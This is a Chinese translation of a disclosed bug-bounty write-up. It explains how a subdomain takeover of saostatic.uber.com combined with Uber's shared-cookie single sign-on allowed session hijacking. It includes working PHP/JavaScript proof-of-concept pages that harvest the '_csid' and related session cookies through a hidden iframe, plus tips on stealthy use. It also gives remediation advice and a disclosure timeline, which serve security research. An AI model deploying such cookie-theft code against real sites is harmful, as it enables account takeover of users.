看我如何通过子域名接管绕过Uber单点登录认证机制

Uber使用Amazon CloudFront CDN架构的网站saostatic.uber.com存在子域名安全漏洞,可被攻击者接管。另外,Uber近期部署在网站auth.uber.com上,基于Uber所有子域名cookie共享实现认证的单点登录系统(SSO)也存在安全问题,攻击者可通过入侵控制任意一个*.uber.com子域名进行会话cookie窃取。因此,这两个问题的综合应用将造成对Uber整个SSO系统的身份认证绕过,实现对所有Uber子域名网站的访问控制,影响甚大。目前,通过我的漏洞发现,Uber已经修复了这两个安全问题,并为我提供了5000刀的漏洞奖金。下面,我们就一起来进行漏洞分析:

了解单点登录认证系统SSO的安全性

通常,单点登录认证系统主要有以下三种类型:

OAuth: 基于服务提供者(Service Providers)为身份提供者(Identity Providers)配置的白名单回调URL, 并由“state”参数实现CSRF保护。该方式存在的漏洞大多为开放重定向问题,参考Airbnb的认证绕过漏洞。

SAML & friends: 基于XML消息加密,使用服务提供者和身份提供者之间的预交换加密密钥进行认证。该方式漏洞大多为XML签名绕过,参考OneLogin认证绕过。

子域名cookie会话共享: 基于所有子域名空间的整体安全性。任何一个存在漏洞的子域名都可能导致会话共享cookie被劫持,并对SSO系统造成安全威胁。该方式漏洞大多为RCE远程代码执行、调试日志泄露和子域名接管,参考Ubiquity身份认证绕过。

我个人认为,前两种单点登录方式以前存在很多安全问题,但现在其安全性都已得到提升。相比来说,第三种SSO方式的应用比前两种都要早,从设计角度来说,任何利用这种SSO系统发起认证的域名都必须是同一个顶级域名下的子域名,但由于这种SSO系统的安全性依赖于所有子域名的整体安全性,所以也无形中增加了其攻击面。

Uber的单点登录认证问题

近期的漏洞披露报告来看,Uber在过去曾使用OAuth来作为*.uber.com子域名的SSO系统,但最近却换成了基于会话共享cookie的SSO系统。现在访问任何一个需要身份认证的uber.com子域名,都将被重定向到auth.uber.com进行统一的身份认证。如果在该网站完成登录之后意味着你通过了其SSO系统,利用SSO系统分配的会话cookie可继续实现其它Uber网站的登录访问。

但是这个SSO系统却存在前述的安全漏洞:在受害者为认证登录状态时,通过对任何一个入侵控制的子域名网站可以窃取经auth.uber.com为任意子域名认证分发的共享会话cookie。虽然Uber采取了一些防护对策,但仍然可以被绕过。加上saostatic.uber.com的子域名绕过漏洞,意味着Uber的整个SSO系统身份认证机制都将被绕过。尽管Uber在漏洞赏金项目中明确了某些不在测试范围内的域名,但该漏洞攻击可适用于任意一个*.uber.com子域名。

对Uber的子域名接管

通过DNS CNAME记录观察,子域名saostatic.uber.com指向Amazon Cloudfront CDN,但主机名并没有被注册,这也味着其存在域名注册接管漏洞。在参考类似的Uber漏洞之后,我成功接管了该子域名,以下PoC证明:

3._Subdomain_Hijacked.png

对Uber实现认证绕过

在Uber的SSO系统中,auth.uber.com作为具备临时共享会话cookie的身份提供者,向服务提供者(如riders.uber.com等网站)发起认证。成功完成认证之后,为避免冲突和错误,服务提供者在服务端将会立即删除传入的临时共享会话cookie,并降低会话信息被窃取的可能和风险。以下为Uber SSO系统的用户登录流程:

02.png

从上图分析可看出,由于在第9步和第12步之间存在一个短暂的浏览器重定向,有效的会话cookie  “_csid”貌似只能从此进行窃取。对此,结合Jack Whitton的CSP欺骗实现cookie重定向发送漏洞,我发现了一种更方便有效的利用方法,通过该方法可以让共享会话cookie在第12步后仍然保存在浏览器中。关键是,如果目标用户已经通过第12步实现了https://riders.uber.com的认证登录,当该用户接着又从auth.uber.com收到了一个新生成的有效共享会话cookie “_csid”时,这个新cookie将被忽略但保持有效。

因此,攻击者可以将上图第3步重放为下图的第13步,并在其后添加一个指向https://saostatic.uber.com的隐藏请求,就可以窃取到有效会话cookie:

03.png

理论上来说,一旦攻击者得到了如https://riders.uber.com的受害用户共享会话cookie “_csid”后,就可在自己的浏览器中执行正常的登录认证流程,并会替换掉第9步的“_csid” 分发cookie值,伪装受害用户进行登录。但是,Uber在这里设置了CSRF跨站请求伪造防护措施,所以,加入CSRF防护机制的Uber SSO登录流程图如下所示:

04.png

关键就在于GET参数state=CSRFTOKEN,和在第3步中由riders.uber.com添加的,并在第11步验证的本地局部状态cookie。由于我们无法从受害用户浏览器中窃取这些cookie值,但我们的目标又是共享会话cookie“_csid”,那是否就没戏了呢?

NO!由于攻击者可以通过在自己终端,正常进行https://riders.uber.com的登录操作,并从中获取到有效的CSRFTOKEN值和状态cookie,那么攻击者就能够将https://riders.uber.com在第三步生成的auth.uber.com URL链接转发至受害用户的浏览器中,生成并窃取共享会话cookie  “_csid”,最后将这些cookie插入到第9步的自己登录认证过程中。这种方式下,由受害者生成一个临时的会话令牌”_csid”,而攻击者利用该令牌在单独的浏览器实现成功认证登录,非常完美。

05.png

PoC及视频演示

再多的流程图也比不上一个PoC说得清楚。

1、打开受害者浏览器,浏览https://riders.uber.com,之后被重定向到https://auth.uber.com,使用受害用户的凭证完成认证,转到https://riders.uber.com

2、在受害者浏览器打开另一个网页标签,访问https://saostatic.uber.com/prepareuberattack.php,假设该网站设置了安全有效的SSL认证模式,在此跳出的任何认证警告,都选择接受。当页面加载完成后,你将会在底部看到一个url、Cookie字符串和Set-Cookie字符串,这就是自动窃取的,攻击者用来进行登录认证的cookie值

3、打开另外一个浏览器窗口,设置拦截工具进行请求回应的流量截取,访问prepareuberattack.php页面显示的URL链接进行拦截,之后,复制在prepareuberattack.php页面中显示的Cookie:…字段,并把它拷贝到请求头中

4、响应信息将会跳转到https://riders.uber.com/trips,表明已成功绕过身份认证。最后,将prepareuberattack.php页面的“Set-Cookie:”字段值拷贝到浏览器服务端请求的响应信息中,这样,就能实现将窃取的cookie值持久驻留在攻击者浏览器中。接下来,就可以受害者身份完成其它域名网站的认证登录。具体请看以下演示视频:

https://v.qq.com/x/page/k0525k5zvln.html

真实攻击场景中,攻击者可以用隐蔽方式在受害用户浏览器中,通过iframe等方式加载https://saostatic.uber.com/prepareuberattack.php页面。同样,攻击者可以不在结果返回页面中显示URL和窃取的cookie信息,而是将其存储服务器后端,实现隐蔽攻击窃取。虽然解释有些拖沓,但在上述视频演示中可看出其PoC漏洞攻击的快速有效执行能力。

以下给出的是 https://saostatic.uber.com/prepareuberattack.phphttps://saostatic.uber.com/uberattack.php页面的攻击源码,prepareuberattack.php可托管在任意服务器,而uberattack.php必须托管在被劫持或入侵的子域名网站服务器中。你可以将这两个PHP文件中的“riders.uber.com”改为其它Uber子域名,如vault.uber.com、partners.uber.com和developer.uber.com等,进行攻击。

prepareuberattack.php:

<html>
<body>
<script> <?php     function HandleHeaderLine( $curl, $header_line ) {
        preg_match("/state=([^;]*);/", $header_line, $matches);
    if(sizeof($matches) > 0) {
        print("var cookiestate = '" . $matches[1] . "';\n");
    }
    preg_match("/Location: (.*)/", $header_line, $matches);
    if(sizeof($matches) > 0) {
        print("var loc = '" . trim($matches[1]) . "';\n");
    }
    return strlen($header_line);
    }   
 
    $c = curl_init('https://riders.uber.com');
    curl_setopt($c, CURLOPT_VERBOSE, 1);
    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
    $page = curl_exec($c); ?> var csrf = loc.substring(loc.lastIndexOf("=")+1); var img = document.createElement("IMG");
img.onerror = function () {
    var iframe = document.createElement("iframe");
    iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf);
    iframe.setAttribute("width", "100%");
    iframe.setAttribute("height", "10000");
    document.body.appendChild(iframe); 
}
img.src=loc;
</script>
</body>
</html> 

uberattack.php:

<html> <body> <?php     $cookiestring = "state=" . $_GET["cookiestate"] . "; ";
    $interestincookies = array("_udid", "_csid", "sid");
    foreach ($_COOKIE as $name => $value) {
    if (in_array($name,$interestincookies)) {   
        $cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) .  "; ";
        $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) .  ";</br>";
        }
    }
    print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />";
    print "Cookie: " . $cookiestring . "<br />";
    print "<br />" . $cookiestringset . "<br />";
  ?> </body> </html>

修复策略

我给Uber的两方面建议:

1、消除指向AWS CloudFront CDN的解析记录来避免saostatic.uber.com的子域名接管漏洞;

2、按照优先级顺序,通过以下方法解决身份认证绕过问题:

恢复使用OAuth 2,减少因共享会话cookie SSO系统导致的攻击面

采取IP地址检测功能:保存用户外网IP地址,在认证发起时进行验证

考虑到SSO系统对所有子域名的安全依赖性,可将所有Uber子域名加入漏洞赏金项目范围

最终,Uber消除不安全的CNAME解析记录,并采用IP地址检测机制来降低了Uber SSO系统攻击面。

漏洞报送进程

2017年4月7日    向Uber提交漏洞

2017年4月11日   Uber漏洞分类

2017年4月14日  我得到了最低漏洞赏金$500

2017年6月6日   由于saostatic.uber.com还处于可接管状态,就此与Uber沟通

2017年6月6日   Uber回应由于疏忽导致,已经开始采取加固措施

2017年6月7日   saostatic.uber.com的DNS CNAME记录被移除

2017年6月14日  我获得了额外的$4500漏洞赏金

2017年7月7日   Uber在SSO系统中采取了IP检测机制

2017年7月11日  得到Uber的漏洞公布允许

*参考来源:arneswinnen,freebuf小编clouds编译